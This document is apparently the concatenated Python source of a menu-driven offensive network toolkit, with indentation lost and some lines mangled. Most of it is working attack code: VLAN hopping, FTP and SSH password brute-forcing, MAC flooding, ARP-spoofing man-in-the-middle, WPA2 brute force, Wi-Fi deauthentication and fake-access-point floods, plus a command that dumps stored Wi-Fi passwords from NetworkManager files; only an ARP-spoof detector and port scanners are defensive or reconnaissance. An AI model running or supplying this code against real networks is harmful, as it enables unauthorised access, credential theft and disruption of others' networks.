def __init__(self):
print("""
1 - Attack
99 - Back
""")
self.Number = str(input("[?]>>"))
if self.Number == str(
1) or "Attack" in self.Number or "attack" in self.Number:
self.interface = str(input("Enter the Interface>>"))
self.your_VLAN = int(input("Enter the Vlan Your>>"))
self.target_vlan = int(input("Enter the Vlan Attack>>"))
self.Target_ip_icmp = str(input("Enter the Target ip>>"))
self.ether = Ether()
self.dot1q1 = Dot1Q(vlan=self.your_VLAN)
self.dot1q2 = Dot1Q(vlan=self.target_vlan)
self.ip = IP(dst=self.Target_ip_icmp)
self.icmp = ICMP()
self.packet = self.ether / self.dot1q1 / self.dot1q1 / self.ip / self.icmp
try:
while True:
print("Attack Vlan Hopping")
sendp(self.packet, iface=self.interface)
time.sleep(5)
except:
pass
elif self.Number == str(99) or "back" in intro.Number:
intro.main()
def __init__(self):
#self.q = queue.Queue()
self.angry1 = colored.fg("green") + colored.attr("bold")
self.angry2 = colored.fg("red") + colored.attr("bold")
self.angry = colored.fg("white") + colored.attr("bold")
print(f"""{self.angry1}
1 - FTP Brute
2 - SSH Brute
0 - back
""")
self.number = str(input("[?]>>"))
if self.number == str(1) or "use ftp" in self.number:
self.host = str(input("HOST : "))
self.user = str(input("USER : "******"File : "))
self.passwords = open(self.passwords).read().split("\n")
self.threads = int(input("Threads : "))
print("[+] Passwords to try:", len(self.passwords))
for password in self.passwords:
q.put(password)
for t in range(self.threads):
self.thread = Thread(target=self.ftp_brute)
self.thread.daemon = True
self.thread.start()
if self.number == str(2) or "use ssh" in self.number:
self.host = str(input("HOST : "))
self.user = str(input("USER : "******"File : "))
self.passwords = open(self.passwords).read().split("\n")
self.threads = int(input("Threads : "))
print("[+] Passwords to try:", len(self.passwords))
for password in self.passwords:
q.put(password)
for t in range(self.threads):
self.thread = Thread(target=self.ssh_brute)
self.thread.daemon = True
self.thread.start()
if self.number == str(99) or "back" in self.number:
intro.main()
q.join()
def __init__(self):
print("""
1 - Attack
99 - Back
""")
self.Number = str(input("[?]>>"))
if self.Number == str(1):
self.packet = int(input("Enter the number of packets >> "))
self.interface = str(input("Enter the Interface >>"))
self.arp_pkt = ARP(pdst='2.2.255.255', hwdst="ff:ff:ff:ff:ff:ff")
self.eth_pkt = Ether(src=RandMAC(), dst="ff:ff:ff:ff:ff:ff")
try:
sendp(self.eth_pkt / self.arp_pkt,
iface=self.interface,
count=self.packet,
inter=.001)
except:
print("Destination Unreachable ")
if self.Number == str(99) or "back" in self.Number:
intro.main()
def main():
print("""
1 - Arp Spoofing
2 - Attack revealed
99 - Back
""")
Number = str(input("[[?]]>"))
angry = fg("white") + attr("bold")
angry1 = fg("green") + attr("bold")
def _enable_linux_iproute():
file_path = "/proc/sys/net/ipv4/ip_forward"
with open(file_path) as f:
if f.read() == 1:
return
with open(file_path, "w") as f:
print(1, file=f)
def enable_ip_route(verbose=True):
if verbose:
print("[!] Enabling IP Routing...")
_enable_linux_iproute()
if verbose:
print("[!] IP Routing enabled.")
def get_mac(ip):
ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff') / ARP(pdst=ip),
timeout=3,
verbose=0)
if ans:
return ans[0][1].src
def spoof(target_ip, host_ip, verbose=True):
target_mac = get_mac(target_ip)
arp_response = ARP(pdst=target_ip,
hwdst=target_mac,
psrc=host_ip,
op='is-at')
send(arp_response, verbose=0)
if verbose:
self_mac = ARP().hwsrc
print("[+] Sent to {} : {} is-at {}".format(
target_ip, host_ip, self_mac))
def restore(target_ip, host_ip, verbose=True):
target_mac = get_mac(target_ip)
host_mac = get_mac(host_ip)
arp_response = ARP(pdst=target_ip,
hwdst=target_mac,
psrc=host_ip,
hwsrc=host_mac)
send(arp_response, verbose=0, count=7)
if verbose:
print("[+] Sent to {} : {} is-at {}".format(
target_ip, host_ip, host_mac))
def Detection_attack(pkt):
if ARP in pkt:
ip, mac = pkt[ARP].psrc, pkt[ARP].hwsrc
if ip in DB:
if mac != DB[ip]:
if Ether in pkt:
target = pkt[Ether].dst
else:
target = "%s?" % pkt[ARP].pdst
print(
f"{angry1}Attack: Target={target} Victim={ip} Attacker={mac}{angry}"
)
open("Attack revealed", "a").write(
f" Attack: Target={target} \n Victim={ip} \n Attacker={mac}"
)
else:
DB[ip] = mac
return "Oh!!!!Gathering %s=%s" % (mac, ip)
if Number == str(1):
target = str(input("[?]>> Target:"))
host = str(input("Host_Getway : "))
verbose = True
enable_ip_route()
try:
while True:
spoof(target, host, verbose)
spoof(host, target, verbose)
time.sleep(1)
except KeyboardInterrupt:
print("[!] CTRL+C Restoring the network, please wait...")
time.sleep(1)
restore(target, host)
restore(host, target)
if Number == str(2):
DB = {}
sniff(store=0, prn=Detection_attack)
if Number == str(99) or "back" in Number:
intro.main()
import os
import subprocess
from Modules import intro
from Modules import Wifi_attack
from Modules import arp_spoof
from Modules import scan
from Modules import Broto_force_protcol
from Modules import Mac_Flooding
from Modules import Vlan_hopping
if os.getuid() != 0:
print("Please use Root")
exit()
if __name__ == "__main__":
intro.main()
_loop = 1
while _loop:
try:
if intro.Number == str(1) or "show scan" in intro.Number:
scan.nmap3_Scan()
elif intro.Number == str(2) or "show wifi" in intro.Number:
Wifi_attack.Wifi()
elif intro.Number == str(3) or "show arp" in intro.Number:
arp_spoof.main()
elif intro.Number == str(4) or "show brute" in intro.Number:
Broto_force_protcol.Brute_Force()
elif intro.Number == str(5) or "show vlan" in intro.Number:
Vlan_hopping.Attack_Vlan()
elif intro.Number == str(6) or "show mac flood" in intro.Number:
def __init__(self):
self.angry1 = colored.fg("green") + colored.attr("bold")
self.angry = colored.fg("white") + colored.attr("bold")
print(f"""{self.angry1}
1 - Os
2 - Top PORT
3- Xmas Scan
4 - Fin Scan
5 - Dns brute
6 - UDP Scan
7 - TCP Scan
99 - back
""")
self.number = str(input("[?]>>"))
if self.number == str(1) or "use os" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
self.OS(self.Host, self.Timing)
if self.number == str(2) or "use top port" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
if self.Timing == None:
self.Top_port(self.Host)
else:
self.Top_port(self.Host, self.Timing)
if self.number == str(3) or "use xmas" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
if self.Timing == None:
self.Xmas_Scan(self.Host)
else:
self.Xmas_Scan(self.Host, self.Timing)
if self.number == str(4) or "use fin" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
if self.Timing == None:
self.Fin_Scan(self.Host)
else:
self.Fin_Scan(self.Host, self.Timing)
if self.number == str(5) or "use brute dns" in self.number:
self.Host = str(input("%s[*] Domain >>" % (self.angry1)))
self.Dns_Brute(self.Host)
if self.number == str(6) or "use udp" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
if self.Timing == None:
self.UDP_Scan(self.Host)
else:
self.UDP_Scan(self.Host, self.Timing)
if self.number == str(7) or "use tcp" in self.number:
self.Host = str(input("%s[*] Host >>" % (self.angry1)))
self.Timing = int(input("[*] Timing >>"))
if self.Timing == None:
self.TCP_Scan(self.Host)
else:
self.TCP_Scan(self.Host, self.Timing)
if self.number == str(99) or "back" in self.number:
intro.main()
def __init__(self):
print("""
1 - Scan Wifi Card
2 - Brute Force Wifi
3 - Deauth Attack Wifi
4 - View Password Wifi
5 - Fake Wifi
6 - Detect Hidden Wifi
99 - Back
""")
Number = input("[?]>")
def Hidden_Wifi(pkt):
if pkt.haslayer(Dot11Beacon) or pkt.haslayer(Dot11ProbeResp):
if not hiddenWIFI.has_key(pkt[Dot11].addr3):
ssid = pkt[Dot11Elt].info
bssid = pkt[Dot11].addr3
channel = int(ord(pkt[Dot11Elt:3].info))
capability = pkt.sprintf(
"{Dot11Beacon:%Dot11Beacon.cap%}\{Dot11ProbeResp:%Dot11ProbeResp.cap%}"
)
if re.search("privacy", capability):
encrypted = 'Y'
else:
encrypted = 'N'
hiddenWIFI[pkt[Dot11].addr3] = [
encrypted, ssid, bssid, channel
]
print(hiddenWIFI)
def Wifi_Broute_Force():
try:
while True:
global q
profile = pywifi.Profile()
profile.ssid = name_Wifi
password = q.get()
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
tmp_profile = inter_face.add_network_profile(profile)
time.sleep(2)
inter_face.connect(tmp_profile)
time.sleep(4)
if inter_face.status() == const.IFACE_CONNECTED:
print(
f"{angry1}[[[*]]] Crack Password is {password}{angry2}"
)
open("wifi_password.txt",
'a').write(f"Crack Password is {password}")
with q.mutex:
q.queue.clear()
q.all_tasks_done.notify_all()
q.unfinished_tasks = 0
else:
print(
f"{angry}[[[*]]] No Password {password}:{name_Wifi}"
)
except:
pass
finally:
q.task_done()
def deauth(target_mac,
gateway_mac,
count=None,
inter=0.1,
loop=1,
iface="wlan0mon",
verbose=1):
if verbose:
if count:
print(
f"{angry1}[+] Sending {count} frames every {inter}s..."
)
else:
print(
f"{angry1}[+] Sending frames every {inter}s for ever..."
)
dot11 = Dot11(addr1=target_mac,
addr2=gateway_mac,
addr3=gateway_mac)
packet = RadioTap() / dot11 / Dot11Deauth(reason=7)
sendp(packet,
inter=inter,
count=count,
loop=loop,
iface=iface,
verbose=verbose)
if count == 0:
loop = 1
count = None
else:
loop = 0
def WifiFake(ssid, mac, infinite=True):
dot11 = Dot11(type=0,
subtype=8,
addr1="ff:ff:ff:ff:ff:ff",
addr2=mac,
addr3=mac)
beacon = Dot11Beacon(cap="ESS+privacy")
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
frame = RadioTap() / dot11 / beacon / essid
__loop = 1
try:
while __loop:
sendp(frame, inter=0.1, loop=1, iface=iface)
except KeyboardInterrupt:
__loop = 0
pass
def scan_wifi():
networks = pandas.DataFrame(columns=[
"Name_SSID", "BSSID", "dBm_Signal", "Channel", "Crypto"
]) # Data Frames
networks.set_index(
"Name_SSID",
inplace=True) # index SSID Name Wifi exambles : Zain..
try:
chack_Wifi = sub.getoutput(["iwconfig"])
global find_card
find_card = re.findall("wl\w+", str(chack_Wifi))[0]
print(find_card)
try:
print("[[#]] Start Mode:Monitor")
sub.call(["ifconfig", find_card, "down"])
sub.call(["iwconfig", find_card, "mode", "Monitor"])
sub.call(["ifconfig", find_card, "up"])
except KeyboardInterrupt:
print("[[#]] Start Mode:Manged")
sub.call(["ifconfig", find_card, "down"])
sub.call(["iwconfig", find_card, "mode", "Manged"])
sub.call(["ifconfig", find_card, "up"])
except:
find_card = str(input("WifiCard #> "))
def callback(packet):
if packet.haslayer(Dot11Beacon):
# extract the MAC address of the network
ssid = packet[Dot11Elt].info.decode()
bssid = packet[Dot11].addr2
# get the name of it
try:
dbm_signal = packet.dBm_AntSignal
except:
dbm_signal = "N/A"
# extract network stats
stats = packet[Dot11Beacon].network_stats()
# get the channel of the AP
channel = stats.get("channel")
# get the crypto
crypto = stats.get("crypto")
networks.loc[ssid] = (bssid, dbm_signal, channel, crypto)
def print_all():
while True:
os.system("clear")
print(networks)
time.sleep(0.5)
def change_channel():
ch = 1
while True:
os.system(f"iwconfig {find_card} channel {ch}")
# switch channel from 1 to 14 each 0.5s
ch = ch % 14 + 1
time.sleep(0.5)
printer = Thread(target=print_all)
printer.daemon = True
printer.start()
channel_changer = Thread(target=change_channel)
channel_changer.daemon = True
channel_changer.start()
# start sniffing Scan Wifi Card
snif = sniff(prn=callback, iface=find_card)
networks.to_html("Wifi.html")
def View_Wifi():
print("""
1 - Linux
""")
Number_H = int(input("[?]>>"))
if Number_H == 1 or "linux" or "Linux ":
view = sub.getoutput([
"cat /etc/NetworkManager/system-connections/* | awk -F '=' '/ssid/{print $2}/psk=/{print $2}'"
])
open("linux.txt", 'a').write(view)
for i in view.splitlines():
print('\t\t' + colored.fg("green") + i + angry2)
else:
pass
if Number == str(1) or "use scan wifi" in Number:
scan_wifi()
elif Number == str(2) or "use brute" in Number:
wifi = pywifi.PyWiFi()
inter_face = wifi.interfaces()[0]
name_Wifi = str(input("[#] SSID_Name : "))
pass_file = str(input("[#] List_Password : "******"Theread:"))
pass_file = open(pass_file).read().split("\n")
for password in pass_file:
q.put(password)
for t in range(theard):
thread = Thread(target=Wifi_Broute_Force)
thread.daemon = True
thread.start()
q.join()
elif Number == str(3) or "use deauth" in Number:
target = str(input("[?] Target Mac :"))
gateway = str(input("[?] Gateway Mac :"))
count = int(input("[?] Count :"))
iface = str(input("[?] Interface :"))
deauth(target, gateway, count, iface=iface, verbose=1)
elif Number == str(4):
View_Wifi()
elif Number == str(5):
print("""
1- Single Fake
2- Group Fake
""")
numper = int(input("[?]>>"))
if numper == 1:
sender_mac = RandMAC()
iface = str(input("Interface:"))
sender_mac = RandMAC()
ssid = str(input("Name Wifi:"))
dot11 = Dot11(type=0,
subtype=8,
addr1="ff:ff:ff:ff:ff:ff",
addr2=sender_mac,
addr3=sender_mac)
beacon = Dot11Beacon()
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
frame = RadioTap() / dot11 / beacon / essid
__loop = 1
try:
while __loop:
sendp(frame, inter=0.1, iface=iface, loop=1)
except KeyboardInterrupt:
__loop = 0
elif numper == 2:
try:
n_ap = int(input("AP Numper :"))
iface = str(input("InterFace :"))
faker = Faker()
ssids_macs = [(faker.name(), faker.mac_address())
for i in range(n_ap)]
for ssid, mac in ssids_macs:
Thread(target=WifiFake, args=(ssid, mac)).start()
except:
pass
elif Number == str(6):
hiddenWIFI = dict()
InterFace = str(input("InterFace :"))
__loop = 1
try:
while True:
sniff(iface=InterFace,
prn=Hidden_Wifi,
count=10,
timeout=3,
store=0)
except:
pass
elif Number == str(99) or "back" in Number:
intro.main()
